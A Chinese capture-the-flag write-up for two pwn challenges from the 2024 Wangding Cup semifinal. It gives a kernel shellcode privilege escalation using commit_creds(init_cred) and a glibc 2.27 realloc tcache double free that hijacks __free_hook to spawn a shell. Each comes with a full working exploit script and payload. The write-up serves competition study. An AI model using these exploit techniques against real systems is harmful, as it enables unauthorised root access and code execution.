2024网鼎杯半决赛pwn
附件:https://pan.quark.cn/s/295648301d7c
pwn2-kernel_shellcode
前言:比赛的时候也是犯蠢了,shellcode什么都可以做没注意到两个内核版本的差异,我还诧异一个code两个内核执行不是相同结果吗,属实是给自己蠢到了,题目并不难主要关键是题目理解
使用python脚本来进行交互,使用subprocess
启动内核这就会导致再怎么提权怎么输出flag都不能绕过这个python这层交互
再最开始的时候就疑惑为什么输入一个code两个内核执行不是相同的结果吗,始终在怎么提权反弹shell做文章后面发现异想天开了。
在vir1中内核版本为6.5.8
在vir2中内核版本为6.6.56
两个内核版本不相同这个很重要
ko文件
都为shellcode执行,但是会先做一个寄存器清除的操作
寄存器清除
通过main
可执行文件对驱动写入shellcode
,然后在内核中写入shellcode
后返回来,主要我们通过内核的shellocde
完成提权并且恢复后正常返回程序,就能完成输出flag
的操作
如果不恢复rbp
会导致段错误
在cpu_entry_area
地址上存放着存放的内核基地址,并且cpu_entry_area
不受kaslr影响,始终固定。
使用这个固定地址泄露出来kbase
因为两个内核偏移不固定,使用entry_SYSCALL_64
来判断跳转哪个shellcode
,跳转之后先commit_creds(init_cred)
提权然后使用swapgs_restore_regs_and_return_to_usermode
返回栈上预留的地址
本地输出效果
exp
SInlSLgEAAAAAP7//0yLOEmB7wCOgABIx8AAAIAATAH4izCB5v//AACB7vMPAACF9nUkSMfHIAPkAEwB/0jHxsAuCgBMAf5Ix8LQFYAATAH6SIPCFusxSYHHAI6AAEmB7wCOoABIx8fgBQQBTAH/SMfG0A8LAEwB/kjHwnAWoABMAfpIg8IxkEiBxIAAAABIi2wkGGoAagBSVsM=
import base64
from pwn import*
context.arch='amd64'
protect_addr=0xfffffe0000000004
kbase_offset1=0x808e00
kbase_offset2=0xa08e00
entry_SYSCALL_64_offset1=0x800000
entry_SYSCALL_64_offset2=0xa00080
swapgs_offset=0x008015d0
swapgs_offset2=0x00a01670
init_cred_offset=0x00e40320
init_cred_offset2=0x010405e0
commit_creds_offset=0x000a2ec0
commit_creds_offset2=0x000b0fd0
rop_offset=0xCB0787
shellcode_all=f"""
mov rbp,rsp
mov rax,{protect_addr}
mov r15,qword ptr [rax]
sub r15,{kbase_offset1} ;r15=kbase
mov rax,{entry_SYSCALL_64_offset1}
add rax,r15 ;rax=entry_SYSCALL_64
mov esi, dword ptr [rax]
and esi,0xffff
sub esi,0xff3
test esi,esi
jne kernel2
kernel1:
mov rdi,{init_cred_offset} ;rdi=init_cred
add rdi,r15
mov rsi,{commit_creds_offset} ;rsi=commit_creds
add rsi,r15
mov rdx,{swapgs_offset} ;rdx=swapgs
add rdx,r15
add rdx,0x16
jmp ret2user
kernel2:
add r15,{kbase_offset1}
sub r15,{kbase_offset2} ;r15=kbase
mov rdi,{init_cred_offset2} ;rdi=init_cred
add rdi,r15
mov rsi,{commit_creds_offset2} ;rsi=commit_creds
add rsi,r15
mov rdx,{swapgs_offset2} ;rdx=swapgs
add rdx,r15
add rdx,0x31
nop
ret2user:
add rsp ,0x80
mov rbp, qword ptr [rsp+0x18]
push 0
push 0
push rdx
push rsi
ret
"""
sh_all=asm(shellcode_all)
print("base64_all:")
print(base64.b64encode(sh_all))
pwn1-realloc
题目不难,只要知道realloc
的具体用法就行
realloc(void* ptr, size_t size)
四个功能:
1、ptr==nullptr,相当于malloc(size)
2、size==0,相当于free(ptr)
ptr=realloc(0,0x50)
realloc(ptr,0)
3、ptr_size<size(原来chunk大小<申请大小),
(1)如果后面的空闲空间足够会直接扩充,返回原本ptr指针
这个时候申请回0x60的chunk然后,用realloc(ptr,0x80),会造成堆覆盖问题,可以修改chunk大小以及fd,bk指针
(2)如果不够,会释放ptr指针,重新申请,返回申请后的指针
4、ptr_size>size(原来chunk大小>申请大小)
(1)截断大小>minchunk_size,会直接截断后面多余部分并释放,返回原来ptr指针
(2)截断大小不足以释放,返回原来ptr指针不做释放操作
在set_info
的时候对data->ptr
指针使用了realloc
,并且后面内容可控,这个就容易造成double free的情况,在没有对指针判断下使用realloc危险很大
使用get_info的时候也没有判断,直接泄露出来libc地址
给了init
的操作,就算指针被搞的很乱,一键还原后再布置即可
再查看glibc
版本的时候发现为2.27
最低版本,这个时候tcache
机制刚出现,没有任何检查,直接多次释放object
不会报double free
错误
通过realloc
对同一个chunk
进行释放,然后写入free_hook
劫持
exp
import time
from pwn import *
from ctypes import *
from LibcSearcher import *
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
RESET = '\033[0m'
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn1'
elf=ELF(FILENAME)
libc=elf.libc
debug =1
context.arch='amd64'
if debug == 0:
argv=['aa']
p=process([FILENAME]+argv)
if debug == 1:
p = remote('173.41.81.110',8888)
def command(option):
p.recvuntil(b'>>')
p.sendline(bytes(str(option),'utf-8'))
def shuffle():
command(5)
def edit(count,range,level,Content):
command(2)
p.recvuntil(b'count')
p.sendline(bytes(str(count),'utf-8'))
p.recvuntil(b'range')
p.sendline(bytes(str(range),'utf-8'))
p.recvuntil(b'level')
p.sendline(bytes(str(level),'utf-8'))
if(Content==b'no'):return
p.recvuntil(b'set')
p.send(Content)
def show_cards():
command(5)
def get_info():
command(3)
def init_card():
command(1)
flags_str=b'\xe2\x99\xa5\xe2\x99\xa0\xe2\x99\xa6\xe2\x99\xa3\x00'
edit(0x110,1,0x660,b'a')
edit(0,1,0x661,b'no')
get_info()
libc_addr=u64_fix(p)
libcbase=libc_addr-0x3ebca0
dir("libcbase")
init_card()
edit(len(flags_str)+8,1,0x662,flags_str)
edit(0,1,0x662,b'no')
edit(0,1,0x662,b'no')
free_hook=libcbase+libc.symbols['__free_hook']
system_add=libcbase+libc.symbols['system']
edit(len(flags_str)+8,0,0xdead,p64(free_hook))
init_card()
edit(len(flags_str)+8,1,0x662,flags_str)
init_card()
edit(len(flags_str)+8,1,0x662,p64(system_add))
init_card()
edit(len(flags_str)+8,1,0x662,b'/bin/sh\x00')
edit(0,1,0x662,b'no')
p.interactive()